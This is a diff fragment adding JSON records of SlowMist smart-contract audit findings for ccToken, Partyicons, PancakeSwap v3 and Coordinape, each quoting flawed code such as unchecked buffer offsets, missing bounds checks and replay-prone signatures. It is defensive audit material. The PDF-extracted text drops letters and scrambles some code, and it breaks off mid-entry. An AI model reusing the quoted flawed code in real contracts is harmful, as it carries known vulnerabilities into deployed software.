+ "labels": [ + "SlowMist", + "DeSyn Phase5", + "Type: Denial of Service Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Debug functions buer oset stack overow", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "There is no check to see if oset exceeds the size of debug_buer. If data_len is too large, it may cause a stack overow. contracts/c/common.h static void debug_print_data_impl(const char *prefix, const uint8_t *data, uint32_t data_len) { int offset = 0; offset += sprintf_(debug_buffer, \"%s\", prefix); for (size_t i = 0; i < data_len; i++) { offset += sprintf_(debug_buffer + offset, \"%02x\", data[i]); } debug_buffer[offset] = '\\0'; ckb_debug(debug_buffer); } static void debug_print_int_impl(const char *prefix, int ret) { int offset = 0; offset += sprintf_(debug_buffer, \"%s(%d)\", prefix, ret); debug_buffer[offset] = '\\0'; ckb_debug(debug_buffer); } static void debug_print_string_impl(const char *prefix, const uint8_t *data, uint32_t data_len) { int offset = 0; offset += sprintf_(debug_buffer, \"%s\", prefix); for (size_t i = 0; i < data_len; i++) { offset += sprintf_(debug_buffer + offset, \"%c\", data[i]); } debug_buffer[offset] = '\\0'; ckb_debug(debug_buffer); }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "char2hex Logic error", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "This function assumes that the input hexChar is a valid hexadecimal character, but does not check if the character is in the valid range. If the input hexChar is an illegal character, the result of the calculation will be wrong. For example, entering 'G' or 'H' will result in undesired output. Also, the function only handles hexadecimal characters with uppercase letters ('A' through 'F'), but hexadecimal characters also include lowercase letters ('a' through 'f'). contracts/c/utils.h char char2hex(char hexChar) { char tmp; if(hexChar<='9') { tmp = hexChar-'0'; } else if(hexChar<='F') { tmp = hexChar-'7'; } else { tmp = hexChar-'W'; } return tmp; }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "Custodian has the following unlock permissions: update_merchants confirm_mint reject_mint confirm_burn reject_burn Merchant has the following unlock permissions: update_merchants Request mint Request burn", + "labels": [ + "SlowMist", + "ccToken", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "simple_udt should check the size of the input and output amounts", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "simple_udt should check the size of the input and output amounts. contracts/c/tx_parser.h int simple_udt(uint128_t *ia, uint128_t *oa) { //... *ia = input_amount; *oa = output_amount; return CKB_SUCCESS; }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing array bounds checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "Accessing data[0] and data[1...] without boundary checking may result in an array out-of-bounds error. without boundary checking may result in an array out-of-bounds error. libs/core/src/data_parser/cong_cell.rs pub fn parse(data: Vec) -> Result<(u8, Vec<(ConfigKey, Vec)>), CoreError> { let version = data[0]; let mut configs = vec![]; match version { 0 => { let config_mol = BytesVec::from_compatible_slice(&data[1..]).map_err(|_| CoreError::ParseCellDataFailed { //... } The code does not check if the input args and data are of sucient length. Direct access to args[0] and data[0] may result in out-of-bounds access, which can trigger a crash. libs/core/src/data_parser/governance_member_cell.rs pub fn parse_type_args(args: Vec) -> Result<(GovernanceMemberRole, Vec), CoreError> { let role = GovernanceMemberRole::try_from(args[0]).map_err(|_| CoreError::ParseCellDataFailed { cell_name: String::from(\"GovernanceMemberCell\"), msg: format!(\"Unknown role value {}\", args[0]), })?; let cell_id = (&args[1..]).to_vec(); //... Ok((role, cell_id)) } pub fn parse_data(data: Vec) -> Result<(u8, GovernanceMembers), CoreError> { let version = data[0]; //... GovernanceMembers::from_compatible_slice(&data[1..]).map_err(|_| CoreError::ParseCellDataFailed { //... } libs/core/src/data_parser/tick_cell.rs pub fn parse_data(data: Vec) -> Result<(u8, Tick), CoreError> { let version = data[0]; //... tick = Tick::from_compatible_slice(&data[1..]).map_err(|_| CoreError::ParseCellDataFailed { //... Ok((version, tick)) } libs/core/src/veriers/permission.rs pub fn verify_input_has_deploy_lock(index: usize) -> Result<(), CoreError> { //... cc_assert!(cells[0] == index, CoreError::DeployLockIsRequired { index }); Ok(()) } pub fn verify_input_has_owner_lock(index: usize) -> Result<(), CoreError> { //... cc_assert!(cells[0] == index, CoreError::OwnerLockIsRequired { index }); Ok(()) }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Avoid unnecessary memory copies", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "Function arguments can accept slice references (&[u8]) instead of ownership (Vec), which avoids unnecessary memory copies. libs/core/src/data_parser/cong_cell.rs pub fn parse(data: Vec) -> Result<(u8, Vec<(ConfigKey, Vec)>), CoreError> { //... } libs/core/src/data_parser/governance_member_cell.rs pub fn parse_type_args(args: Vec) -> Result<(GovernanceMemberRole, Vec), CoreError> { //... } pub fn parse_data(data: Vec) -> Result<(u8, GovernanceMembers), CoreError> { //... } libs/core/src/data_parser/tick_cell.rs pub fn parse_data(data: Vec) -> Result<(u8, Tick), CoreError> { //... } libs/core/src/util.rs pub fn get_tx_action() -> Result { //... let version_byte = witness[0]; //... let action_bytes = &witness[1..]; //... }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Ambiguous error handling", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "Use the warn! log to record potential parsing errors, which is not uncommon in smart contracts, without explicitly indicating whether the error should be interrupted or accepted. libs/core/src/data_parser/cong_cell.rs pub fn parse(data: Vec) -> Result<(u8, Vec<(ConfigKey, Vec)>), CoreError> { //... let key = match ConfigKey::try_from(u32::from_le_bytes(key_bytes)) { Ok(key) => key, Err(_) => { warn!( \"[{}] Parse [0..4]({}) to config key failed, the key is removed or not defined.\", i, hex_string(key_bytes.as_ref()) ); continue; } }; //... } Ok((version, configs)) }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Missing system shutdown status check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "When the system is processing the shutdown state, all other features except conguration should be disabled, including disabling the following features: init_governance update_owner update_custodians update_merchants confirm_mint reject_mint confirm_burn reject_burn Currently only the request function request for token minting and destruction checks if the system is disabled.", + "labels": [ + "SlowMist", + "ccToken", + "Type: Authority Control Vulnerability Audit", + "Severity: Low" + ] + }, + { + "title": "It is recommended to use the encapsulated method", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ccToken.pdf", + "body": "A wrapped lock validation function already exists, and reusing it improves the readability of the code. contracts/cong-cell-type/src/entry.rs fn verify_output_lock(index: usize) -> Result<(), Box> { //... lock.as_slice() == owner_lock.as_slice(), //... Ok(()) }", + "labels": [ + "SlowMist", + "ccToken", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risks of excessive privilege", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "1.All contracts in this protocol use the UUPSUpgradeable upgrade mechanism from OpenZeppelin, which allows the Owner role to upgrade the smart contract. contracts/Box.sol #L8, L97-L99 contracts/Hero.sol #L12, L77-L79 contracts/Mirpass.sol #L12, L77-L79 contracts/Points.sol #L9, L96-L98 contracts/Weapon.sol #L12, L77-L79 import \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\"; function _authorizeUpgrade( address newImplementation ) internal override onlyOwner {} 2.In all contracts of this protocol, the Owner role can add or remove the Minter role through the addMinter function and removeMinter function. contracts/Box.sol #L130-L132, L134-L136 contracts/Hero.sol #L225-L227, L233-L235 contracts/Mirpass.sol #L224-L226, L232-L234 contracts/Points.sol #L101-L103, L105-L107 contracts/Weapon.sol #L224-L226, L232-L234 function addMinter(address account) external onlyOwner { _updateMinter(account, true); } function removeMinter(address account) external onlyOwner { _updateMinter(account, false); } 3.In all contracts of this protocol, the Owner role can modify important parameters in the contract through the following functions. contracts/Box.sol #L138-L140 ,L173-L186, L199-L208 function updateBaseURI function setPrice function setPaymentToken contracts/Hero.sol #L131-L133, L177-L181, L217-L222 contracts/Mirpass.sol #L131-L133, L176-L180, L216-L221 contracts/Weapon.sol #L131-L133, L176-L180, L216-L221 function updateBaseURI function setTrustedForwarder function setDefaultRoyalty contracts/Points.sol #L71-L73, L function updateBaseURI 4.In all contracts of this protocol, the Minter role can mint tokens arbitrarily through the following functions. contracts/Box.sol #L216-L226, L228-L241, L334-L344 function mintBatch function mintAndLockBatch function mintWithSignature contracts/Hero.sol #L245-L250, L258-L269 contracts/Mirpass.sol #L244-L249, L257-L268, L352-L369, L391-L404 contracts/Weapon.sol #L244-L249, L257-L268, L352-L369, L391-L404 function mint function mintBatch function mintAndLockBatch function mintWithSignature contracts/Points.sol #L75-L85, L87-L93, L122-L131 function mintBatchForToken function mintBatchForAccount function mintWithSignature 5.The Owner role in the Box contract, as well as the Owner and Minter roles in the Hero contract, Mirpass contract, and Weapon contract, can lock or unlock tokens through the lockTokens function and unlockTokens function. contracts/Box.sol #L277-L284, L290-L302 contracts/Hero.sol #L296-L315, L321-L350 contracts/Mirpass.sol #L295-L314, L320-L349 contracts/Weapon.sol #L295-L314, L320-L349 function lockTokens function unlockTokens", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing null check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "1.In the Box contract, the initialize function and the updateBaseURI function do not check that the value of tokenURI_ parameter and newuri parameter is not null. contracts/Box.sol #L73-L95, L138-L140 function initialize( string calldata name_, string calldata symbol_, address paymentTokenAddress_, address minter_, string memory tokenURI_ ) public initializer { __ERC1155_init(tokenURI_); ``` } function updateBaseURI(string memory newuri) public onlyOwner { _setURI(newuri); } 2.In the Hero, Mirpass, and Weapon contracts, the _setTokenBaseURI function did not check whether the baseURI parameter was not null. contracts/Hero.sol #L241-L243 contracts/Mirpass.sol #L240-L242 contracts/Weapon.sol #L240-L242 function _setTokenBaseURI(string memory baseURI_) internal { _tokenBaseURI = baseURI_; } 3.In the Points contract, the initialize function and updateBaseURI function did not check whether the tokenURI_ parameter and the baseURI_ parameter were not null. contracts/Points.sol #L38-L53 function initialize( string calldata name_, string calldata symbol_, string memory tokenURI_, address minter_ ) public initializer { __ERC1155_init(tokenURI_); ``` } function updateBaseURI(string calldata baseURI_) external onlyOwner { _setURI(baseURI_); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event log", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "1.In all contracts of the protocol, the updateBaseURI function lacks event logging when the base URI of the token is updated. contracts/Box.sol #L138-L140 function updateBaseURI(string memory newuri) public onlyOwner { _setURI(newuri); } contracts/Hero.sol #L131-L133 contracts/Mirpass.sol #L131-L133 contracts/Weapon.sol #L131-L133 function updateBaseURI(string calldata baseURI_) external onlyOwner { _setTokenBaseURI(baseURI_); } contracts/Points.sol #L71-L73 function updateBaseURI(string calldata baseURI_) external onlyOwner { _setURI(baseURI_); } 2.In all contracts of this protocol, the ISignatureMintERC721 interface denes the TokensMintedWithSignature event, which is used to record token minting with signatures. However, this event is missing in the mintWithSignature function. contracts/Box.sol #L334-L344 function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external virtual payable returns (address signer) { signer = _processRequest(_req, _signature); address receiver = _req.to; uint256 tokenId = _req.tokenId; uint256 quantity = _req.quantity; _mint(receiver, tokenId, quantity, \"\"); _totalSupply[tokenId] += quantity; } contracts/Hero.sol #L392-L405 contracts/Mirpass.sol #L391-L404 contracts/Weapon.sol #L390-L403 function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external virtual payable returns (address signer) { if (_req.quantity != 1) { revert SignatureMintInvalidQuantity(); } signer = _processRequest(_req, _signature); address receiver = _req.to; uint256 tokenId = _req.tokenId; _safeMint(receiver, tokenId); } contracts/Points.sol #L122-L131 function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external virtual payable returns (address signer) { signer = _processRequest(_req, _signature); address receiver = _req.to; uint256 tokenId = _req.tokenId; uint256 quantity = _req.quantity; _mint(receiver, tokenId, quantity, \"\"); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of checking whether tokenId exists", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "1.In the BOX contract, the uri function, setPrice function, isTokenLocked function, lockTokens function, and unlockTokens function do not check whether the tokenId parameter exists. contracts/Box.sol#L142-L152, L173-L186, L267-L271, L277-L284, L290-L302 function uri(uint256 tokenId) public virtual view override returns (string memory) { ``` } function setPrice( uint256 tokenId_, uint256 pointTokenId_, uint256 salePrice_, address newPaymentTokenAddress_ ) external virtual onlyOwner { ``` } function isTokenLocked( uint256 tokenId ) public virtual view override returns (bool) { return _lockedTokens[tokenId]; } function lockTokens( uint256[] calldata tokenIds ) external virtual override onlyOwner { ``` } function unlockTokens( uint256[] calldata tokenIds ) external virtual override onlyOwner { ``` } 2.In the Points contract, the uri function does not check whether the tokenId parameter exists. contracts/Points.sol #L55-L65 function uri(uint256 tokenId) public virtual view override returns (string memory) { ``` } 3.In the Hero contract, the Mirpass contract and the Weapon contract, the tokenURI function, isTokenLocked function, lockTokens function, and unlockTokens function do not check whether the tokenId parameter exists. contracts/Hero.sol #L286-L290, L296-L315, L321-L350 contracts/Mirpass.sol #L285-L289, L295-L314, L320-L349 contracts/Weapon.sol #L285-L289, L295-L314, L320-L349 function isTokenLocked( uint256 tokenId ) public virtual view override returns (bool) { return _lockedTokens[tokenId]; } function lockTokens(uint256[] calldata tokenIds) external virtual override { ``` } function unlockTokens(uint256[] calldata tokenIds) external virtual override { ``` }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "LockStatusChanged event not triggered", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the BOX contract,the mintAndLockBatch function locks tokens while minting them in batches, but the LockStatusChanged event is not triggered in the function to record the operation of locking tokens. contracts/Box.sol#L228-L241 function mintAndLockBatch( uint256 tokenId, address[] calldata to, uint256[] calldata amount, uint256 lockTime ) public virtual whenNotPaused onlyMinter { require(to.length == amount.length, \"Invaild input\"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], tokenId, amount[i], \"\"); _totalSupply[tokenId] += amount[i]; _lockedTokens[tokenId] = true; _lockTime[tokenId] = lockTime; } }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Token lock-up period is not set", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Box contract, Hero contract, Mirpass contract, and Weapon contract, the lockTokens function is used to lock tokens, but the lock time is not set. In particular, in the Hero contract, Mirpass contract, and Weapon contract, if the Minter role locks a token with a tokenId , since the lock time is not set, the owner of the token can directly unlock the token through the unlockTokens function. contracts/Box.sol #L277-L284 function lockTokens( uint256[] calldata tokenIds ) external virtual override onlyOwner { for (uint i = 0; i < tokenIds.length; i++) { _lockedTokens[tokenIds[i]] = true; emit LockStatusChanged(tokenIds[i], true, _msgSender()); } } contracts/Hero.sol #L296-L315 contracts/Mirpass.sol #L295-L314 contracts/Weapon.sol #L295-L314 function lockTokens(uint256[] calldata tokenIds) external virtual override { address sender = _msgSender(); if (_isMinter(sender)) { for (uint i = 0; i < tokenIds.length; i++) { _lockedTokens[tokenIds[i]] = true; emit LockStatusChanged(tokenIds[i], true, sender); } } else { for (uint i = 0; i < tokenIds.length; i++) { if (_msgSender() == ownerOf(tokenIds[i])) { _lockedTokens[tokenIds[i]] = true; emit LockStatusChanged(tokenIds[i], true, sender); } else { revert( \"Only the owner or the minter can modify the lock status\" ); } } } }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Missing whenNotPaused modier", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Box contract, Hero contract, Mirpass contract, and Weapon contract, the PausableUpgradeable module of openzeppelin is used to lock the token minting function of the contract. However, the mintWithSignature function does not add the whenNotPaused modier, which means that when the contract is in a locked state, the Minter role can mint tokens through the mintWithSignature function, thereby bypassing the contract lock state. contracts/Box.sol #L334-L344 function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external virtual payable returns (address signer) { signer = _processRequest(_req, _signature); address receiver = _req.to; uint256 tokenId = _req.tokenId; uint256 quantity = _req.quantity; _mint(receiver, tokenId, quantity, \"\"); _totalSupply[tokenId] += quantity; } contracts/Hero.sol #L392-L405 contracts/Mirpass.sol #L391-L404 contracts/Weapon.sol #L390-L403 function mintWithSignature( MintRequest calldata _req, bytes calldata _signature ) external virtual payable returns (address signer) { if (_req.quantity != 1) { revert SignatureMintInvalidQuantity(); } signer = _processRequest(_req, _signature); address receiver = _req.to; uint256 tokenId = _req.tokenId; _safeMint(receiver, tokenId); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "The lockTime value is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Hero contract, Mirpass contract and Weapon contract, the mintAndLockBatch function did not check if the lockTime parameter was greater than 0. contracts/Hero.sol #L353-L370 contracts/Mirpass.sol #L352-L369 contracts/Weapon.sol #L352-L369 function mintAndLockBatch( address[] calldata addressList, uint256[] calldata tokenIds, uint256 lockTime ) external virtual whenNotPaused onlyMinter nonReentrant { require( addressList.length > 0 && addressList.length == tokenIds.length, \"Invalid input\" ); address sender = _msgSender(); for (uint i = 0; i < addressList.length; i++) { uint256 tokenId = tokenIds[i]; _safeMint(addressList[i], tokenId); _lockedTokens[tokenId] = true; _lockTime[tokenId] = block.timestamp + lockTime; emit LockStatusChanged(tokenId, true, sender); } }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Box contract, the setPaymentToken function did not perform a zero address check on the newPaymentTokenAddress_ parameter. contracts/Box.sol #L199-L208 function setPaymentToken( address newPaymentTokenAddress_ ) external virtual onlyOwner { address oldPaymentToken = defaultPaymentAddress; defaultPaymentAddress = newPaymentTokenAddress_; emit DefaultPaymentAddressChanged( newPaymentTokenAddress_, oldPaymentToken ); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect setting of token lock time", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Box contract, the mintAndLockBatch function incorrectly sets the lock time to lockTime when setting the token lock, causing the lock time to deviate from the expected value. contracts/Box.sol #L228-L241 function mintAndLockBatch( uint256 tokenId, address[] calldata to, uint256[] calldata amount, uint256 lockTime ) public virtual whenNotPaused onlyMinter { require(to.length == amount.length, \"Invaild input\"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], tokenId, amount[i], \"\"); _totalSupply[tokenId] += amount[i]; _lockedTokens[tokenId] = true; _lockTime[tokenId] = lockTime; } }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Hero contract, Mirpass contract, and Weapon contract, the initialize function and the setTrustedForwarder function do not perform a zero address check on the trustedForwarder_ parameter. contracts/Hero.sol #L55-L71, L177-L181 contracts/Mirpass.sol #L55-L71, L176-L180 contracts/Weapon.sol #L55-L71, L176-L180 function initialize( string calldata name_, string calldata symbol_, string calldata baseURI_, address minter_, address trustedForwarder_ ) public initializer { ``` __ERC2771_init(trustedForwarder_); ``` } function setTrustedForwarder( address trustedForwarder_ ) external onlyOwner whenNotPaused { _setTrustedForwarder(trustedForwarder_); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Lack of checking whether tokenId exists", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Partyicons - NFT Assets - SlowMist Audit Report.pdf", + "body": "In the Hero contract, the Mirpass contract and the Weapon contract, the tokenURI function does not check whether the tokenId parameter exists. contracts/Hero.sol #L120-L125 contracts/Mirpass.sol #L120-L125 contracts/Weapon.sol #L120-L125 function tokenURI( uint256 tokenId_ ) public view override(ERC721Upgradeable) returns (string memory) { string memory URI = super.tokenURI(tokenId_); return string(abi.encodePacked(URI, \".json\")); }", + "labels": [ + "SlowMist", + "Partyicons - NFT Assets - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_en-us.pdf", + "body": "In the StableSwapRouter, the Owner role can set the stableSwapFactory to any address. If a fake stableSwapFactory address is passed in, the SmartRouterHelper will obtain a malicious transaction pair from the getStableInfo function, resulting in loss of funds. And this function is also missing the event log and 0 address check. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Token compatibility issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_en-us.pdf", + "body": "1.In the StableSwapRouter, the exactOutputStableSwap and exactInputStableSwap functions will call swap to transfer by the pay function via the input data amountIn and the input data is recorded directly into it. In the swap function, although amountIn is re-recorded. However, the amountIn_ data is still recorded in the _swap function when the exchange is performed in the swapContract of the transferring third-party contract. If the third-party contract token balance is used to directly participate in the calculation, the contract cannot be compatible with the rebase token. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_en-us.pdf", + "body": "1.In the PancakeV3FactoryOwner contract, the owner role can set the lmPoolDeployer address, but there is no event log and 0 address check. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of initial operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_en-us.pdf", + "body": "In the PancakeV3Pool contract, by calling the initialize function to initialize the contracts, there is a potential issue that malicious attackers preemptively call the initialize function to initialize and there is no access control verication for the initialize functions ", + "labels": [ + "SlowMist", + "PancakeSwap_v3", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of denial of service", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap_v3_en-us.pdf", + "body": "In the UniswapV3Pool contract, the swap function can be disrupted by forcing the loop to go through too many operations, potentially trapping the swap due to a lack of gas. ", + "labels": [ + "SlowMist", + "PancakeSwap_v3", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of replay attack", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "In the ApeToken contract, DOMAIN_SEPARATOR is dened when the contract is initialized, but it is not reimplemented when DOMAIN_SEPARATOR is used in the permit function. So the DOMAIN_SEPARATOR contains 15 the chainId and is dened at contract deployment instead of reconstructed for every signature, there is a risk of possible replay attacks between chains in the event of a future chain split. coordinape-protocol/contracts/ApeProtocol/token/ApeToken.sol#L18 constructor() { uint chainId = block.chainid; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(\"coordinape.com\")), keccak256(bytes('1')), chainId, address(this) ) ); } coordinape-protocol/contracts/ApeProtocol/token/ApeToken.sol#L42 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public { require(block.timestamp <= deadline, \"COToken: expired deadline\"); require(owner != address(0), \"COToken: owner can't be ZERO address \"); bytes32 digest = keccak256( abi.encode( DOMAIN_SEPARATOR, '\\x19\\x01', keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address signer = ECDSA.recover(digest, v, r, s); require(signer == owner, \"COToken: invalid signature\"); 16 _approve(owner, spender, value); }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Replay Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "Missing event records are not conducive to the review of community users. coordinape-protocol/contracts/ApeProtocol/token/TokenAccessControl.sol#L32-47 function disableAllowlist() external onlyOwner { require(!allowlistDisabled, \"AccessControl: Allowlist already disabled\"); } allowlistDisabled = true; function changePauseStatus(bool _status) external onlyOwner { require(!foreverUnpaused, \"AccessControl: Contract is unpaused forever\"); } paused = _status; function disablePausingForever() external onlyOwner { require(!foreverUnpaused, \"AccessControl: Contract is unpaused forever\"); } foreverUnpaused = true; paused = false; 17 coordinape-protocol/contracts/ApeProtocol/token/TokenAccessControl.sol#L81-84 function disableMintingForever() external onlyOwner { require(!mintingDisabled, \"AccessControl: Contract cannot mint anymore\"); } mintingDisabled = true; coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeBeacon.sol#L23-28 function transferProxyOwnership(address _newOwner) external { require(msg.sender == proxyOwner()); assembly { sstore(_OWNER_SLOT, _newOwner) } } coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeRegistryBeacon.sol#37-L40 function pushNewImplementation(address _newImplementation) public itself { require(Address.isContract(_newImplementation), \"ApeRegistryBeacon: implementaion is not a contract\"); deployments[++deploymentCount] = _newImplementation; } coordinape-protocol/contracts/ApeProtocol/ApeRegistry.sol#L17-L35 function setFeeRegistry(address _registry) external itself { feeRegistry = _registry; } function setRouter(address _router) external itself { router = _router; } function setDistributor(address _distributor) external itself { distributor = _distributor; } 18 function setFactory(address _factory) external itself { factory = _factory; } function setTreasury(address _treasury) external itself { treasury = _treasury; } coordinape-protocol/contracts/ApeProtocol/ApeRouter.sol#L87-L89 function setRegistry(address _registry) external itself { yearnRegistry = _registry; }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Coding optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "getVariableFee function does not modify contract data, but does not use view. coordinape-protocol/contracts/ApeProtocol/FeeRegistry.sol#L24 function getVariableFee(uint256 _yield, uint256 _tapTotal) external returns(uint256 variableFee) { if (!on) return 0; uint256 yieldRatio = _yield * 1000 / _tapTotal; uint256 baseFee = 100; if (yieldRatio >= 900) variableFee = baseFee; // 1% @ 90% yield ratio else if (yieldRatio >= 800) variableFee = baseFee + 25; // 1.25% @ 80% yield ratio 19 else if (yieldRatio >= 700) variableFee = baseFee + 50; // 1.50% @ 70% yield ratio else if (yieldRatio >= 600) variableFee = baseFee + 75; // 1.75% @ 60% yield ratio else if (yieldRatio >= 500) variableFee = baseFee + 100; // 2.00% @ 80% yield ratio else if (yieldRatio >= 400) variableFee = baseFee + 125; // 2.25% @ 80% yield ratio else if (yieldRatio 